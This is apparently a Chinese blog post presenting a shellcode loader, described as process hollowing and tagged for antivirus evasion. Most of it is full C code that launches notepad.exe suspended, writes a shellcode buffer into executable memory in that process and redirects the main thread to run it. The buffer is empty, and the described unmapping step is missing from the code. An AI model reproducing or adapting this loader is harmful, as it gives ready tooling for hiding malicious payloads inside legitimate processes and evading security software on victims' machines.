«

ShellCode加载 - 进程镂空注入

ljierui 发布于 阅读:98 技术杂谈


1、进程镂空注入

创建一个进程:

获取进程信息:

镂空原始进程的内存:

在目标进程中分配内存:

将shellcode写入新分配的内存:

修改线程的上下文:

恢复线程执行:

1.1、实现代码

#include<windows.h>
#include<stdio.h>

unsigned char shellcode[] = "";

int main() {
    PROCESS_INFORMATION pi;
    STARTUPINFOA si;

    // 使用memset初始化结构体,设置为0
    memset(&si,0,sizeof(si));
    // cb是设置结构体的大小
    si.cb = sizeof(si);

    // 打开需要注入的进程 notepad.exe
    if (!(CreateProcessA("C:\\Windows\\System32\\notepad.exe",NULL,NULL, NULL, FALSE,
        CREATE_SUSPENDED,
        NULL, NULL, &si, &pi)))
    {
        printf("Error during CreateProcess. Error: %d\n", GetLastError());
        return 1;
    }

    // 定义线程上下文结构体,并设置其标志以获取所有寄存器的值
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;

    // 获取挂起进程的主线程的上下文,用于后续修改它的入口点
    if (!GetThreadContext(pi.hThread, &ctx)) {
        printf("Error during GetThreadContext. Error: %d\n", GetLastError());
        return 1;
    }

    // 把shellcode注入到创建的pi进程中
    // 在pi 中分配合适的内存空间
    PVOID remoteMemory = VirtualAllocEx(pi.hProcess,NULL,sizeof(shellcode), MEM_COMMIT| MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!remoteMemory) {
        printf("Error during VirtualAllocEx. Error: %d\n", GetLastError());
        return 1;
    }
    // 把shellcode写入到内存中去
    if (!WriteProcessMemory(pi.hProcess,remoteMemory,shellcode,sizeof(shellcode),NULL))
    {
        printf("Error during WriteProcessMemory. Error: %d\n", GetLastError());
        return 1;
    }

    // 修改线程的上下文,设置入口点指向我们注入的shellcode
    // 判断是64还是32位的机器,调用的指令不同
#if defined(_M_X64)
    ctx.Rip = (DWORD64)remoteMemory;
#elif defined(_M_IX86)
    ctx.Eip = (DWORD)remoteMemory;
#endif

    // 更新线程的上下文,使其在恢复后从shellcode开始执行
    if (!SetThreadContext(pi.hThread, &ctx)) {
        printf("Error during SetThreadContext. Error: %d\n", GetLastError());
        return 1;
    }

    // 恢复挂起的线程,使其开始执行shellcode
    if (ResumeThread(pi.hThread) == -1) {
        printf("Error during ResumeThread. Error: %d\n", GetLastError());
        return 1;
    }

    // 关闭进程和线程的句柄,释放资源
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return 0;
}

免杀

推荐阅读: